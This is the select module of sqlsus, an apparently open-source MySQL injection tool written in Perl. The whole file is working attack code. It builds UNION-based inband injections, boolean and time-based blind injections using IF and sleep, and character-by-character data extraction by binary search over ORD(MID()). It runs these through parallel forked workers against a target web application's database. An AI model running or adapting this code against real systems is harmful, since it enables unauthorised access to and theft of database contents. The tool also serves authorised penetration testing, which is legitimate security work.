package select;

# This file is part of sqlsus
#
# Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
# http://sqlsus.sourceforge.net/
#
# Licensed under GPLv3+: GNU GPL version 3 or later
# See LICENSE file or http://www.gnu.org/licenses/gpl.html

use strict;
use warnings;

use POSIX;
use DBI;
use IO::Socket;
use IO::Handle;
use Time::HiRes qw/sleep/;
use POSIX ":sys_wait_h";

# eye candiness
use constant PREPEND => 1;
use constant NO_PREPEND => 0;
use constant LENGTH_URL => 1;
use constant LENGTH_INJVAR => 1;
use constant MYNULL => "\x06";

my $select_start_regex = qr/(?:ALL|DISTINCT|DISTINCTROW|HIGH_PRIORITY|STRAIGHT_JOIN|SQL_SMALL_RESULT|SQL_BIG_RESULT|SQL_BUFFER_RESULT|SQL_CACHE|SQL_NO_CACHE|SQL_CALC_FOUND_ROWS)/i;
my $select_end_regex = qr/(?:FROM|WHERE|GROUP BY|ASC|HAVING|ORDER BY|ASC|LIMIT|PROCEDURE|INTO)/i;
my $hex_separator = "0x5";
my $hex_separator_mini = "0x7";
my $separator = chr(0x5);
my $separator_mini = chr(0x7);


##################################
#-- inject, frontend to &functions::get_url()
# RETURN: 
# dry_run: length of the request / undef
# else: $res / undef
sub inject {
	my $sql = shift;
	my $dry_run = shift;

	return if &main::is_interrupted() and not $dry_run;

	my $url;
	my $res;

	if ($conf::hex_encode_strings) { 
		$sql =~ s/(['"])\1//g;
		$sql =~ s/(['"])(.*?)\1/&functions::string_to_hex($2)/eg 
	}

	if ($sql =~ /^http/) {
		# we are asked to inject a full url, not just a SQL statement
		$url = $sql;
	} else {
		$url = $conf::url_start . ($conf::blind ? '' : $conf::union_select) . $sql;
	}

	if ($conf::post) { 
		my %form;

		my $temp_url = $url;
		$temp_url =~ s/.*?\?//;
		my $last_key;
		for (split(/&/, $temp_url)) {
			if (/([^=]*)=(.*)/) {
				$form{$1} = $2;
				$last_key = $1;
			}
		}
		$form{$last_key} .= $conf::url_end;
		$url =~ s/\?.*//;
		$res = &functions::get_url($url, \%form, $dry_run) or return; 
	} else {
		$res = &functions::get_url($url . $conf::url_end, $dry_run, $dry_run) or return;
	}
	return $res;
}

##################################
#-- inject a blind query and return a boolean on success
# RETURN: 1 or 0 / undef
sub inject_blind {
	my $query = shift;
	my $dry_run = shift;

	# boolean-based injection
	if ($conf::blind == 1) {
		my $res = &inject("AND $query", $dry_run) or return;
		if ($dry_run) {
			return $res;
		} else {
			return (index($res->content, $conf::blind_string) >= 0);
		}
	# time-based injection
	} elsif ($conf::blind == 2) {
		my $start = [ Time::HiRes::gettimeofday( ) ];
		my $res = &inject("AND 0 OR IF($query,sleep($conf::blind_sleep)+1,1) LIMIT 1", $dry_run) or return;
		my $elapsed = Time::HiRes::tv_interval( $start );
		if ($dry_run) {
			return $res;
		} else {
			return ($elapsed - $conf::sleep_after_hit > $conf::blind_sleep);
		}
	}
}

##################################
# get the top_row (limit) for a query
# RETURN: ($query, $row, $top_row)
sub get_query_limit {
	my $query = shift;
	my $select_callback = shift;

	my $row = 0;
	my $top_row = 0;
	my $length = 0;

	if ($query =~ /LIMIT\s+(\d+)(?:(?:\s*,\s*)(\d+))?/i) {
		if (defined $2) {
			$row = $1;
			$top_row = $2 + $1;
		} else {
			$top_row = $1;
		}
		$top_row = 0 if $top_row >= $conf::top_row;
		$query =~ s/LIMIT\s+\d+\s*(,\s*\d+)?//i;
	} 
	if (not $top_row) {
		my ($query_start, $query_end, @items) = &cut_query($query);
		my @items_without_count = grep {!/count\(/i} @items;
		return ($query, 0, 1) unless @items_without_count;
		$query_end =~ s/LIMIT\s+\d+\s*(,\s*\d+)?//i;
		# in case we are called with SELECT DISTINCT
		$query_start =~ s/^SELECT *//i;
		my $count_select = "SELECT COUNT($query_start ${conf::hex_start}CONCAT(IFNULL(" . join(",0),IFNULL(", @items_without_count) . ",0))${conf::hex_end}) $query_end";

		$length = &$select_callback($count_select);
		return ($query, 0, 0) unless $length;
		# on mysql < 4.1.22, select count(123) returns 0 (otherwise, 1)
		# we are not testing for a count(NULL) since we use COUNT(IFNULL()), so other than for those early versions, we will never have 0.
		$length++ if $length == 0;

		$top_row = $length;
	}

	return($query, $row, $top_row);
}

##################################
#-- cut the query into 3 parts :
# the command / the last part / the content of the command (as an array)
# ex : SELECT ALL Name,Passwd from users where Name like "aze"
# SELECT ALL / from(users)where Name like "aze" / (Name, Passwd)
#
# RETURN: ( $query_start, $query_end, @query_items_array )
sub cut_query {
	my $query = shift;
	my @query_items_array = ();
	# Remove spaces near commas, for easier parsing and shorter query
	$query =~ s/(\s+)?,(\s+)?/,/g;
	# Remove brackets, for easier parsing, if the query is like : select * from(bla)
	$query =~ s/FROM\(([^)]+)\)/FROM $1 /i;
	if ($query =~ /^\s*(SELECT(?:\s+$select_start_regex*)*)(.*?)([\s)]+$select_end_regex\s+[^)]+)?$/i) {
		my ($query_start, $query_end, $query_items) = ($1, $3, $2);
		if ($query_end and $query_end =~ /^([\s)]+)/) {
			$query_items .= $1;
			$query_end =~ s/^([\s)]+)//;
		}

		for (($query_start, $query_end, $query_items)) {
			if (not defined $_) { $_ = " "; next; }
			s/^\s+//;
			s/\s+$//;
			s/(\s){2,}/$1/;
		}
		my @to_join = ();
		my $open_brackets = 0; 
		my $open_simple_quote = 0; 
		my $open_double_quote = 0; 

		for (split /,/, $query_items) {
			# Dont push to items array if we are inside at least one parenthesis
			# or if we are inside quotes
			$open_brackets += () = /\(/g;
			$open_brackets -= () = /\)/g;
			# basic quote counting
			$open_simple_quote += () = /'/g;
			$open_double_quote += () = /"/g;

			push @to_join, $_;
			if (not $open_brackets and ($open_simple_quote % 2 + $open_double_quote % 2 == 0)) {
				push @query_items_array, join ',', @to_join;
				@to_join = ();
			}   
		}   
		# shorten the query
		$query_end =~ s/\s*(!=|>=|<=|=|==)\s*/$1/g;
		# If the current database differs from the one opened by the target web app
		if (defined $main::target{database} and $main::database ne $main::target{database} and $query_end =~ /^from/i) {
			my $from_query = $query_end;
			my $last = "";
			if ($from_query =~ s/\s+($select_end_regex.*)$//i) {
				$last = $1;
			}
			my @from = split /\s*,\s*/, $from_query;
			$from[0] =~ s/from\s+//i;
			for (@from) {
				# dual has a special meaning, do not change
				next if /dual/i;
				# prepend table with database if no dot inside the table
				s/^([^\.]+)$/$main::database.$1/;
			}
			$query_end = "FROM(" . join (",", @from) . ")$last";
		}
		# (): 2 chars / 2 spaces == 2*%20 == 6 chars
		$query_end =~ s/FROM\s+(\S+)\s*/FROM($1)/i;
		return (( $query_start, $query_end, @query_items_array ));
	} 
}

##################################
#-- used internally by &stack_query
# are we under max_sendable ?
sub verif_length_stacked_query {
	my ($query, $cols) = @_;
	$query =~ s/^,//;
	$cols =~ s/1/CONCAT($hex_separator,CONCAT_WS($hex_separator_mini,$query),$hex_separator)/;
	return not &functions::length_above_max_sendable(\&select::inject, $cols);
}

##################################
#-- used internally by &stack_query
sub stack_me_baby {
	my ($items, $query_start, $query_end, $joined_query_items_array, $limit) = @_;
	my $next_stack_q;
	if ($items > 1) {
		$next_stack_q = "($query_start CONCAT_WS($hex_separator_mini,$joined_query_items_array)$query_end LIMIT $limit,1)";
	} else {
		$next_stack_q = "($query_start $joined_query_items_array $query_end LIMIT $limit,1)";
	}

	# shorten sql
	$next_stack_q =~ s/\s+($select_end_regex)\s+/ $1 /g;
	$next_stack_q =~ s/\s*([\)\(])\s*/$1/g;
	return $next_stack_q;
}

##################################
# stack query, limit == num_stack, so there is no LIMIT statement in the $query_end
# Returns :
# The number of stacked queries
# The query itself

# Ex: select name,id from City limit 3
# X1 : hex_separator
# X2 : hex_separator_mini
# [X1]name1[X2]id1[X2]name2[X2]id2[X1]

# $substring_start, $substring_end : not used for now

# RETURN ($stacked, $columns) 
sub stack_query {
	my ($start, $end, $substring_start, $substring_end, $query_start, $query_end, @query_items_array) = @_;
	my $limit = $start;
	my $stack_q = "";
	my $next_stack_q;
	my $stacked = 0;
	my $items = scalar @query_items_array;
	my $columns = join (",", @conf::columns);

	# Only allow max_subqueries subqueries at a time
	if ($end - $start > $conf::max_subqueries) {
		$end = $start + $conf::max_subqueries;
	}

	my $joined_query_items_array = "${conf::hex_start}IFNULL(" . join (",0x6)${conf::hex_end},${conf::hex_start}IFNULL(", @query_items_array) . ",0x6)${conf::hex_end}";

	$next_stack_q = &stack_me_baby($items, $query_start, $query_end, $joined_query_items_array, $limit);

	# keep previous state of the query in case we exceed max_sendable
	while (($stacked++ <= ($end - $start)) and (&verif_length_stacked_query($stack_q . ",$next_stack_q", $columns)) and ($limit++ < $end)) {
		$stack_q .= ",$next_stack_q";
		$next_stack_q = &stack_me_baby($items, $query_start, $query_end, $joined_query_items_array, $limit);
	}
	$stack_q =~ s/^,//;
	$columns =~ s/1/CONCAT($hex_separator,CONCAT_WS($hex_separator_mini,$stack_q),$hex_separator)/;

	return ($stacked-1, $columns);
}

##################################
# Inject a stacked query

# Takes the number of stacked queries and the stacked query itself in argument
# if number_of_items is 0, then discard the check : number_of_items == items returned
# this is useful when we don't know how many records to grab (ie: inband_mass_query, the last process to grab records)

# RETURN: @ret / undef

sub inject_stacked_query {
	my ($number_of_items, $stacked_query) = @_;
	my @ret;

	my $res = &inject($stacked_query) or return;

	if ($res->content =~ /You have an error in your SQL syntax; .* (.*?at line \d+)/) {
		&msg::error("SQL ERROR : $1");
		return;
	}
	if ($res->content =~ /$separator([^$separator]*)$separator/) {
		# x appended to prevent split() from discarding the last element, if this one is ""
		@ret = split /$separator_mini/, $1 . "x";
		$ret[-1] =~ s/x$//;
	} else {
		&msg::error("Returned data truncated.. discarding. (try lowering max_subqueries or max_url_length/max_inj_length so that less data is returned) (if you are using binary + inband; you may want to \"set binary 0\")") if ($res->content =~ /$separator([^$separator]+)/);
		# data truncated OR no data at all (in this case, let the caller warn the user if necessary)
		return;
	}

	&msg::debug("[result] " . join ("/", @ret));

	return if $ret[0] eq "";

	if (scalar @ret == $number_of_items or $number_of_items == 0) {
		if ($conf::binary) {
			for (@ret) {
				$_ = &functions::hex_to_string("0x$_");
			}
		}
		return @ret;
	} else {
		&msg::error("The number of columns in the request (" . $number_of_items . ") differs from the number of columns returned (" . scalar @ret . ") !");
		return;
	}
}

##################################
#-- Inject an inband SQL SELECT query :
# RETURN: 
# dry_run: 1 / 0 
# else: @content / undef
sub inband_query {
	my $query = shift;
	my $dry_run = shift;
	
	return if &main::is_interrupted();

	# recup cut pour injecter substring
	my ($query_start, $query_end, @query_items_array) = &cut_query ($query);

	my $query_items = "${conf::hex_start}IFNULL(" . join (",0x6)${conf::hex_end},${conf::hex_start}IFNULL(", @query_items_array) . ",0x6)${conf::hex_end}";
	if (scalar @query_items_array > 1) {
		$query_items = "CONCAT_WS($hex_separator_mini,$query_items)";
	}

	my $to_inject = join ",", @conf::columns;
	$to_inject =~ s/1/CONCAT($hex_separator,($query_start $query_items $query_end),$hex_separator)/;

	# shorten sql
	$to_inject =~ s/\s+($select_end_regex)\s+/ $1 /g;
	$to_inject =~ s/\s*([\)\(])\s*/$1/g;

	if ($dry_run) {
		return &inject($to_inject, $dry_run);
	} else {
		return &inject_stacked_query(scalar @query_items_array, $to_inject);
	}
}

##################################
sub inband_query_joined_result {
	my $query = shift;
	my $args = shift;

	my @res = &select::inband_query($query, $args);

	if (@res) {
		return join ('', @res);
	} else {
		return undef;
	}
}

##################################
#-- Inject a query that returns more than one row
sub inband_mass_query {
	my $query = shift;
	my $table = shift;
	my @ret;
	my @result;

	my $start_time = time;

	($query, my $row, my $top_row) = &get_query_limit($query, \&inband_query_joined_result);
	my $num_rows = $top_row - $row;
	return unless $num_rows;

	my ($a, $b, @header) = &cut_query($query);

	my $total_stacked = 0;
	my ($stacked, $stacked_query) = &stack_query($row, $top_row, 1, $conf::max_returned_length, $a, $b, @header);
	if ($stacked eq 0) {
		&msg::error("Could not fit one query into the injection space, consider shrinking your query");
		return;
	}

	my @current_children = ();

	# baby killed
	$SIG{CHLD} = sub {
		while ((my $child = waitpid(-1,WNOHANG)) > 0) {
			@current_children = grep !/^$child$/, @current_children;
		}
	};

	my $exit_loop = 0;

	local $SIG{'USR2'} = sub { $exit_loop = 1 };

	$main::control_child->send("inband_mass_query_fetched " . (scalar @result / scalar @header) . " $top_row $start_time");

	while ($num_rows > $total_stacked and not $exit_loop and not &main::is_interrupted) {
		($stacked, $stacked_query) = &stack_query($row, $top_row, 1, $conf::max_returned_length, $a, $b, @header);

		while ($conf::processes == scalar @current_children and not &main::is_interrupted) {
			sleep .3;
		}
		last if &main::is_interrupted;

		my $child = &functions::my_fork();
		if (not defined $child) {
			&msg::error("Cannot fork, exiting... Try to reduce \"processes\" (set processes ..)");
			last;
		}
		if ($child) {
			push @current_children, $child;
		} else {
			# 
			# child process
			#
			@result = &inject_stacked_query(0, $stacked_query);
			if (@result) {
				&db::insert_log($table, $row, scalar @header, @result);
				$main::control_child->send("inband_mass_query_fetched " . (scalar @result / scalar @header) . " $top_row $start_time");
			} 
			# should not happen anymore since we now first determine the number of rows to be returned
			if (not @result or (scalar @result != $stacked * scalar @header)) {
				kill USR2 => getppid();  
			}
			exit;
		}
		$total_stacked += $stacked;
		$row += $stacked;
	} 
	if (&main::is_interrupted()) {
		for (@current_children) {
			kill TERM => $_;
		}
	}
	# wait children
	while (@current_children) {
		sleep .3;
	}
	&msg::raw("\r" . " "x70 . "\r");

	$main::control_child->send("inband_mass_query_fetched reset");

	return @ret;
}

##################################
#-- print the return value of a blind query
sub test {
	my $query = shift;

	if ($query eq "") {
		&help::usage("test");
		return;
	}
	&msg::warning("Not in blind mode, result may not be as expected") unless $conf::blind;

	push my (@header), $query;
	# placed here to allow &functions::hits_counter() to report real hit count
	my $res = &inject_blind("($query)") ? "Y" : "N";
	&functions::print_array_in_a_box(&functions::hits_counter(), \@header, $res);
}

##################################
#-- blind mode calculation of the length of an item
# RETURN: length / -1
sub length_blind_item {
	my $query = shift;
	my $prepend = shift;
	my @test_values = shift;

	my $max = 8;
	my $fast_start = 1;

	my $query_prep = $prepend ? "LENGTH(($query))" : "($query)";

	if ($prepend) {
		return -1 unless &inject_blind("($query)IS NOT NULL");
	}

	# test likely values first
	for my $value (@test_values) {
		last unless defined $value;
		return $value if &inject_blind("$query_prep=$value");
	}

	while ($max < $conf::blind_max_length or not $prepend) {
		# Consider usual values under 8, or likely under 16, or under 32..
		if ($fast_start) {
			if (&inject_blind("$query_prep<$max")) {
				$fast_start = 0;
			} else {
				$max *= 2;
			}
		}
		# We know the maximum value, now is time for the binary search
		if (not $fast_start) {
			my $low = ($max > 8) ? ($max / 2) : 0;
			my $high = $max;
			my $mid;

			while ($low < $high) {
				$mid = int ($low + (($high - $low) / 2));

				if (&inject_blind("$query_prep>$mid")) {
					$low = $mid + 1;
				} else {
					$high = $mid;
				}
			}
			return $low;
		} 
	}
	if (not &main::is_interrupted()) {
		&msg::raw("\n");
		&msg::error("blind_max_length exceeded : $max");
	}
	return -1;
}

##################################
sub char_blind_item {
	my $query = shift;
	my $pos = shift;
	my $in_interval = shift;
	my @chars_to_try = @_;

	my $low = 0;
	my $high = $#chars_to_try;
	my $mid;

	while ($low < $high) {
		return MYNULL if &main::is_interrupted();
		$mid = int ($low + (($high - $low) / 2));

		if (&inject_blind("ORD(MID(($query),$pos,1))>$chars_to_try[$mid]")) {
			$low = $mid + 1;
		} else {
			$high = $mid;
		}
	}
	if (not $in_interval and ($low == 0 or $low == $#chars_to_try)) {
		if (&inject_blind("ORD(MID(($query),$pos,1))=$chars_to_try[$low]")) {
			return $chars_to_try[$low];
		} else {
			return MYNULL;
		}
	} else {
		return $chars_to_try[$low];
	}
}

##################################
# Prints information on query progress
sub print_progress {
	my ($done, $todo, $start_time, $hits) = @_;

	my $time_info = "";
	my $hits_info = "";

	my $elapsed_time = time - $start_time;

	if ($done and $conf::show_estimated_time_in_progress_bar and $elapsed_time > 3) {

		my $seconds = int (($elapsed_time / ($done / $todo)) - $elapsed_time);

		my $hours = int ($seconds / 3600);
		$seconds -= $hours * 3600;
		my $minutes = int ($seconds / 60);
		$seconds -= $minutes * 60;

		$time_info .= $hours . "h " if $hours;
		$time_info .= sprintf("%02dm ",$minutes) if $minutes;
		$time_info .= sprintf("%02ss",$seconds);

		$time_info = "  (est. $time_info remaining)" if $time_info;
	}

	if ($conf::show_hits_info_in_progress_bar) {
		$hits_info = "  ($hits hits)";
	}

	my $percent = int $done / $todo * 100;
	&msg::raw("\r". " "x70 . "\r[" . "*"x(floor($percent/5)) . " "x(20-floor($percent/5)) . "] $done / $todo ($percent%)${time_info}${hits_info}");
	&msg::raw("\n") if $conf::debug;
}

##################################
# try to match a regex against the query
# RETURN: range found / $conf::default_range
sub match_regex {
	my $query = shift;

	my $i = 0;

	while (my $rx = $conf::regex_rlike[$i++]) {
		return $conf::default_range if &main::is_interrupted();
		if (&inject_blind("($query)RLIKE BINARY('$rx')")) {
			return $conf::regex_rlike[$i];
		}
		# @conf::regex_rlike has 2 elements, the regex, and the ascii values associated wit it
		$i++;
	}
	return $conf::default_range;
}

##################################
sub get_hex_query {
	my ($query, $item_num, $row) = @_;

	my ($query_start, $query_end, @items) = &cut_query($query);
	$row += floor($item_num / scalar @items);

	my $i = $item_num % scalar @items;
	my $item = $items[$i];

	$query = $query_start . " ";

	if ($#items > 0) {
		$query .= "MID(${conf::hex_start}CONCAT(IFNULL(" . join (",0x6),IFNULL(", @items) . ",0x6))${conf::hex_end},";
		# offset to $item_num
		# IFNULL -> 1 because IFNULL(item, \x06)
		# and length(NULL) == NULL
		for (0..$i-1) { $query .= "IFNULL(LENGTH(${conf::hex_start}$items[$_]${conf::hex_end}),1)+" }
		$query .= "1,IFNULL(LENGTH(${conf::hex_start}$items[$i]${conf::hex_end}),0))";
	} else {
		$query .= ${conf::hex_start} . join (',', @items) . "${conf::hex_end} ";
	}
	$query .= $query_end;

	$query = $1 if $query =~ /^\s*(.*?)\s*$/;
	$query = "$query LIMIT $row,1";
	return &functions::string_to_hex($query);
}

##################################
sub update_blind_result {
	my ($table, $item_num, $items, $result) = @_;

	my $row = floor($item_num / $items);
	my $index = $item_num % $items;

	$result = &functions::hex_to_string($result) if $conf::binary;

	&db::insert_item($table, $row, $index, $result);
}

##################################
sub get_spot_pos_to_ask {
	my %item_info = @_;

	# priorize first rows, espcially important if we are cloning
	for (sort { $item_info{$a}{num} <=> $item_info{$b}{num} } keys %item_info) {
		next unless $item_info{$_}{range};
		return ($_, $item_info{$_}{asked} + 1) unless ($item_info{$_}{asked} == $item_info{$_}{size});
	}
	return;
}


##################################
#-- Inject a BLIND SQL SELECT query :
sub blind_query {
	my $orig_query = shift;
	# optionnal argument, when we know how many rows will be returned.
	my $rows_returned = shift;

	my $start_time = time;

	my $result;
	my @results;
	my @children;

	my $query = &expand_star($orig_query);

	my (undef,undef,@items) = &cut_query($query);
	my $table = &db::create_table($orig_query, @items);

	my ($h, $row, $top_row);
	if ($rows_returned) {
		$h = 0;
		$row = 0;
		$top_row = $rows_returned;
	} else {
		($query, $row, $top_row) = &get_query_limit($query, \&length_blind_item);
	}

	my $rows_to_fetch = $top_row - $row;
	return unless $rows_to_fetch;

	$query =~ s/limit\s+\d+(\s*,\s*\d+)?\s*$//i;

# 	if (not defined $h) {
# 		&msg::error("Cannot determine the size of the result for the query. Syntax error ? Forgot to \"start\" and \"use\" the correct database ?");
# 		return (0,undef);
	if ($top_row == 0) {
		&db::insert_log($table, 0, scalar @items, ("\x06") x scalar @items);
		return $table;
	} elsif ($top_row == -1) {
		return;
	}

	my $items_to_fetch = (scalar @items) * $rows_to_fetch;

	return if ($items_to_fetch <= 0);

	if ($conf::processes !~ /\d+/ or $conf::processes <= 0) {
		&msg::info("processes set to $conf::processes, changing to minimum value 1");
		$conf::processes = 1;
	}

	my %item_info;

	# should be initialized to what user asked
	my $fetched_items = 0;
	my $item_num = 0;
	my $hex_query;
	# done to avoid memory leak by storing obsolete data
	my @free_spots = (1..$conf::processes);

	my $parent_sock =  new IO::Socket::UNIX->new(Local => "$main::tmp_dir/parent",
		Type  => SOCK_DGRAM,
		Listen   => 500)
	|| die "can't create parent UNIX socket: $!\n";

	# launch the children
	for (1..$conf::processes) {
		my $pid = &functions::my_fork();
		if (not defined $pid) {
			&msg::error("Cannot fork, exiting... Try to reduce \"processes\" (set processes ..)");
			goto blind_query_exit;
		} elsif ($pid == 0) {
			#
			# this is a brute force process
			#
			$parent_sock->close();

			our $child_sock = IO::Socket::UNIX->new(Peer => "$main::tmp_dir/parent",
				Local => "$main::tmp_dir/child$$",
				Type     => SOCK_DGRAM,
				Timeout  => 60)
			|| die "could not create child UNIX socket : $!\n";

			sub exit_child {
				&msg::debug("goodbye cruel world");
				$child_sock->close();
				unlink("$main::tmp_dir/child$$");
				exit;
			}

			local $SIG{TERM} = \&exit_child;

			# first connection to daddy
			$child_sock->send("Hi dad ($$)");
			while (1) {
				# take instruction
				$child_sock->recv(my $buf, 2**16);
				&exit_child unless $buf;
				chomp($buf);

				# we are asked to brute force a char
				if ($buf =~ /^CHAR/) {
					my (undef, $item_num, $pos, $chars_to_try, $query) = split /;/, $buf;
					my $in_range = ($chars_to_try ne $conf::default_range);
					$query = &functions::hex_to_string($query);
					&msg::debug("Received CHAR item_num=$item_num/pos=$pos/chars_to_try=$chars_to_try/$query");
					my $char = &char_blind_item($query, $pos, $in_range, split (/,/, $chars_to_try));
					# send result to daddy
					&msg::debug("Sending CHAR;$item_num;$pos;$char");
					$child_sock->send("CHAR;$item_num;$pos;$char");
				# we are asked to try to match a RE and find the LENgth
				} elsif ($buf =~ /^RELEN/) {
					my (undef, $item_num, $query) = split /;/, $buf;
					$query = &functions::hex_to_string($query);
					&msg::debug("Received RELEN $item_num/$query");
					my $range;
					if ($conf::binary) {
						# upper HEX
						$range = (0, join (',',(48..57,65..70)));
					} else {
						$range = &match_regex($query);
					}
					# if hex, good chances the size is 32
					my @likely_size;
					push @likely_size, 32 if (not $conf::binary and ($range eq join (',',(48..57,97..102)) or $range eq join (',',(48..57,65..70))));
					my $item_length = &length_blind_item($query, PREPEND, @likely_size);
					&msg::debug("Sending RELEN;$item_num;$item_length;$range");
					$child_sock->send("RELEN;$item_num;$item_length;$range");
				# we are asked to Come Back Later (no work to do for the moment)
				} elsif ($buf =~ /^CBL/) {
					&msg::debug2("Received CBL");
					sleep .5;
					$child_sock->send("Hi again dad ($$)");
				} else {
					&msg::fatal("Reveived garbage from parent, this should never happen, exiting before this computer explodes");
				}
			}
			&msg::fatal("Reached an unreachable point, this should never happen, exiting before this computer explodes");
		}
		push @children, $pid;
	}

	$main::control_child->send("progress print $fetched_items $items_to_fetch $start_time");
	while ($fetched_items != $items_to_fetch) {
		last if &main::is_interrupted();

		$parent_sock->recv(my $buf, 2**16);
		&msg::debug2("--[ " . join('/', @free_spots) . " | $item_num | $fetched_items | $items_to_fetch ]--");
		next unless $buf;

		my $peer = $parent_sock->peername;
		$peer =~ s/.*child(\d+)/$1/;
		if ($buf =~ /Hi again dad/) {
			&msg::debug2("PARENT received from $peer: $buf");
		} else {
			&msg::debug("PARENT received from $peer: $buf");
		}
		# RELEN;$item_num;$item_length;$range
		if ($buf =~ /^RELEN;(\d+);(-?\d+);(\S+)/) {
			$main::control_child->send("progress print $fetched_items $items_to_fetch $start_time");
			my $spot = $1;
			my $size = $2;
			my $range = $3;
			if ($size <= 0) {
				$fetched_items++;
				if ($size == 0) {
					&update_blind_result($table, $item_info{$spot}{num}, scalar @items, '');
				# size < 0
				} else {
					&update_blind_result($table, $item_info{$spot}{num}, scalar @items, MYNULL);
				}
				push @free_spots, $spot;
			} else {
				# init item_info for this item
				$item_info{$spot}{size}  = $size;
				$item_info{$spot}{range} = $range;
				$item_info{$spot}{chars} = MYNULL x $size;
				$item_info{$spot}{answered} = 0;
				$item_info{$spot}{asked} = 0;
			}
			# CHAR;$item_num;$pos;$char
		} elsif ($buf =~ /^CHAR;(\d+);(\d+);(\S+)/) {
			$main::control_child->send("progress print $fetched_items $items_to_fetch $start_time");
			my $spot = $1;
			my $pos = $2;
			my $char = $3;

			$char = chr($char) unless $char eq MYNULL;
			substr($item_info{$spot}{chars}, $pos - 1, 1, $char);
			$item_info{$spot}{answered}++;
			if ($item_info{$spot}{size} == $item_info{$spot}{answered}){
				$fetched_items++;
				&update_blind_result($table, $item_info{$spot}{num}, scalar @items, $item_info{$spot}{chars});
				push @free_spots, $spot;
			}
		}
		# new kid, or kid who just gave us some info, anyway free kid.
		# first we send all kids RELEN, then RELEN each time an item is found, otherwise CHAR.
		if ($item_num == ($fetched_items + $conf::processes) or $item_num == $items_to_fetch) {
			# char guess
			if (defined &get_spot_pos_to_ask(%item_info)) {
				my ($spot, $pos) = &get_spot_pos_to_ask(%item_info);
				# send next task to children
				&msg::debug2("PARENT sends CHAR;$spot;$pos");
				$parent_sock->send("CHAR;$spot;$pos;$item_info{$spot}{range};$item_info{$spot}{hex_query}");
				$item_info{$spot}{asked}++;
			} else {
				&msg::debug2("PARENT sends CBL");
				# Come Back Later my son.
				$parent_sock->send("CBL");
			}
		# REGEX / size guess
		} else {
			$hex_query = &get_hex_query($query, $item_num, $row);
			my $spot = shift @free_spots;
			$item_info{$spot}{num} = $item_num;
			$item_info{$spot}{hex_query} = $hex_query;
			&msg::debug2("PARENT sends RELEN;$spot");
			# send next task to children
			$parent_sock->send("RELEN;$spot;$hex_query");
			$item_num++;
		}
	}
blind_query_exit:
	&msg::debug("PARENT killing children");
	# kill the children
	for (@children) {
		kill TERM => $_;
		waitpid($_, 0);
	}

	$parent_sock->close();
	unlink("$main::tmp_dir/parent"); 

	&msg::raw("\r" . " "x70 . "\r");
	return $table;
}

##################################
#-- is the query returning something ?
sub validate_blind_query {
	my $query = shift;

	my ($query_start, $query_end, @header) = &cut_query($query);

	$query_end =~ s/limit\s+(\d+)(?:(?:,\s*)(\d+))?$//i;
	return &inject_blind("($query_start ${conf::hex_start}CONCAT(IFNULL(" . join(",0x6),IFNULL(", @header) . ",0x6))${conf::hex_end}$query_end LIMIT 0,1)IS NOT NULL");
}


##################################
sub query {
	my $args = shift;
	my $internal = shift;
	# redirected from mass_query
	my $redirected = shift;

	my ($table, @result);

	return unless &expand_star($args);

	if ($conf::blind) {
		return unless &validate_blind_query(&expand_star($args));
		if ($redirected) {
			$table = &blind_query($args);
		} else {
			$table = &blind_query($args,1);
		}
		if ($table and $internal) {
			@result = &db::table_to_array($table);
			&db::drop_table($table);
			return @result;
		} else { # $table may be defined or not, either way, return it as is
			return $table;
		}
	} else {
		my $query = &expand_star($args);
		my (undef, undef, @header) = &cut_query($query);

		@result = &inband_query($query);
		if ($internal) {
			return @result;
		} elsif (@result) {
			my $result_table = &db::create_table($args, @header);
			&db::insert_log($result_table, 0, scalar @header, @result);
			return $result_table;
		}
	}
	return;
}

##################################
#-- entry point to queries likely to return more than one row
sub mass_query {
	my $args = shift;
	my $internal = shift;

	return &query($args, $internal, 1) if $conf::blind;

	my $query = &expand_star($args) or return;

	my (undef, undef, @header) = &cut_query($query);
	my $temp_table = &db::create_table($args, @header);
	&inband_mass_query($query, $temp_table);
	if ($internal) {
		my @ret = &db::table_to_array($temp_table);
		&db::drop_table($temp_table);
		return @ret;
	} else {
		return $temp_table;
	}
}   


##################################
#-- expands "select * from bla" to "select a,b,c from bla"
sub expand_star {
	my $query = shift;
	my ($start, $end, @header) = &cut_query($query);

	# expand "select * from ..." to column names
	if (grep { $_ eq '*' } @header) {
		# allow user to specify a foreign database
		if ($end =~ /FROM\s*\(?(?:\w+\.)*(\w+)\s*\)?.*$/i) {
			if (my $cols = join ',', &db::query("SELECT column_name FROM databases WHERE database_name = ? AND table_name = ?", $main::database, $1)) {
				$query =~ s/\*/$cols/;
			} else {
				&msg::error("No columns found for table \"$1\"... try \"get columns $1\" first");
				return;
			} 
		}
	}
	return $query;
}

##################################
sub command {
	my $query = shift;
	my $internal = shift;

	my $select_one = 0;
	my (@result, $result_table);

	if ($query =~ /^select\s*$/i) {
		&help::usage("select");
		return 1
	}

	if (not $conf::blind and not @conf::columns) {
		&msg::error("Columns for UNION not set, set them in the configuration file or use \"start\" first");
		return 0;
	}

	if (not $main::target{database}) {
		&msg::warning("Target database not set, you may want to use \"start\" first");
	}

	# 1st regex is here to catch : select "bla"
	if (($query !~ /^select .*[)\s]from[(\s].*/i) or ($query =~ /limit\s+1$/i)) {
		# only one row returned
		$result_table = &query($query, $internal);
	} else {
		# one or more row(s) returned
		$result_table = &mass_query($query, $internal);
	}

	if ($result_table) {
		&functions::print_table_in_a_box(&functions::hits_counter(), $main::logdb, $result_table);
		return 1;
	} else {
		&msg::error("Query failed.");
		return 0;
	}
}

1
